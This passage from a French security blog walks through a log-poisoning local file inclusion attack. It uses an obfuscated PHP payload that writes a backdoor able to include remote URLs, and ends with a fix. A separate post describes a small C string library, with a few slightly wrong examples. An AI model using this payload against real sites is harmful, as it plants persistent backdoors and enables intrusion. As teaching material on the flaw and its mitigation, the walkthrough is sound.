chr(110).chr(40).chr(39).chr(98).chr(97).
chr(99).chr(107).chr(100).chr(111).chr(111).
chr(114).chr(46).chr(112).chr(104).chr(112).
chr(39).chr(44).chr(39).chr(119).chr(39).
chr(41).chr(59).chr(13).chr(10).chr(102).
chr(119).chr(114).chr(105).chr(116).chr(101).
chr(40).chr(36).chr(102).chr(112).chr(44).
chr(32).chr(39).chr(60).chr(63).chr(112).
chr(104).chr(112).chr(13).chr(10).chr(105).
chr(102).chr(40).chr(105).chr(115).chr(115).
chr(101).chr(116).chr(40).chr(36).chr(95).
chr(71).chr(69).chr(84).chr(91).chr(92).
chr(39).chr(97).chr(92).chr(39).chr(93).chr(41).
chr(41).chr(13).chr(10).chr(32).chr(32).chr(32).
chr(32).chr(105).chr(110).chr(99).chr(108).chr(117).
chr(100).chr(101).chr(40).chr(36).chr(95).chr(71).
chr(69).chr(84).chr(91).chr(92).chr(39).chr(97).
chr(92).chr(39).chr(93).chr(41).chr(59).chr(13).
chr(10).chr(63).chr(62).chr(39).chr(41).chr(59).
chr(13).chr(10).chr(102).chr(99).chr(108).chr(111).
chr(115).chr(101).chr(40).chr(36).chr(102).chr(112).chr(41).chr(59)); ?>


Il marche. Il créé un fichier "backdoor.php" accessible. ;)

Il ne nous reste plus qu'à balancer notre requête :
GET /mapage.php?<?php eval(chr(36).chr(102).chr(112).chr(32).chr(61).chr(32).[...]chr(102).chr(112).chr(41).chr(59)); ?> HTTP/1.1
Host: localhost
Connection: close


On repasse ensuite sur http://localhost/mapage.php?page=../logs/access.log ; on constate qu'il ne se passe rien d'alarmant (pas d'erreur de php) ; Allons maintenant sur http://localhost/backdoor.php. La page existe. Si nous faisons http://localhost/backdoor.php?a=http://ghostsinthestack.org/index.php, on inclut le site de copain Heurs dans notre page (sans le CSS) ; tout ça pour dire qu'on a réussi.

Conclusion



La LFI est dangereuse. Pour la sécuriser, ce script suffirait :
<?php
if(!empty($_GET['page'])
&& preg_match('/^[a-zA-Z0-9]+$/',$_GET['page'])
&& file_exists('./pages/'.$_GET['page'].'.php')) {
include('./pages/'.$_GET['page'].'.php');
} else {
// Blablabla... Erreur
}
?>


Dès lors, il sera impossible, pour l'utilisateur, de naviguer dans un autre répertoire. Seul les pages présentes dans le dossier "pages" seront disponibles aux inclusions locales.

Petit article simpliste, mais voilà. Salut !


Geo

samedi 28 février 2009

Petit module en C : GeoStr (original, comme nom, pas vrai ?!)

Bien le bonjour/bonsoir.

Je suis encore en vie. J'ai pas encore été empalé par un sabre ou été renversé par un camion de livraison. Je suis là, devant mon PC, et je vais vous parler d'un truc avec un niveau peu élevé (je m'adresse, bien évidemment, aux mofos genre Unknown*Dragoon, shp, et toutes les tapz qui vont rire).

J'ai fait un module pour manipuler des chaînes en C. C'est pas complet, mais ça me sert. A la base, c'était pour un usage perso - flemme de diffuser si c'est pour se recevoir des "mouais, tu réinventes la roue et tu sers à rien" ; c'est pour le plaisir de l'algorithme ! :}

Quatre fonctions :

- int GeoStr_Count(char *chaine, char motif);
Retourne le nombre de motif présent dans chaine.

Exemple : GeoStr_Count("Salutations",'a'); renverra 2.


- int GeoStr_GetIndiceFromMotif(char *chaine, char motif, int pos);
Retourne l'index du posième motif dans chaine

Exemple : GeoStr_GetIndiceFromMotif('Salutations','a',1); renverra l'index du premier 'a', soit 1 ;
GeoStr_GetIndiceFromMotif('Salutations','a',2); renverra l'index du second 'a', soit 5 !

- char *GeoStr_substring(char *chaine, int debut, int combien);
Qui ne connait pas lafonction substring ? Elle renvoit combien octets en partant de l'index debut, dans chaine

Exemple :
*GeoStr_substring('Salutations',3,8); renverra 'lutations'.


- char **GeoStr_explode(char *chaine, char motif);
Le clou du pestacle ! La fonction explode renvoit un tableau de chaines issues de chaine, séparées par motif. Le second argument n'est, malheureusement, pas une chaine de caractère. J'avais pas le courage de faire ça, étant donné que j'ai pondu cette fonction à 2h du matin.

Exemple : GeoStr_explode("02/10/1989",'/') renverra un tableau de chaines :
[0] = "02";
[1] = "10";
[2] = "1989";




Les fichiers constituant le module se trouvent ici : http://venom630.free.fr/geo/?path=tools/GeoStr

Si jamais (et je dis bien, si jamais) vous avez du temps (à perdre ?) pour faire évoluer la bête, n'hésitez pas à me le signaler par mail ou par commentaire. Ca m'intéresserait d'avoir des fonctions que j'ai comprises et dont je peux me servir pour plusieurs trucs, notamment niveau études.

Conclusion


Je suis pas mort, et je code encore. Voilà.

Geo

PS : Je salue NiklosKoda, pour le fun. Et je le soutien pour la parution de son article complet (comme le pain de mie) sur les injections SQL. Je dédierai un article à ce sujet, car ça vaut vraiment le coup pour les débutants.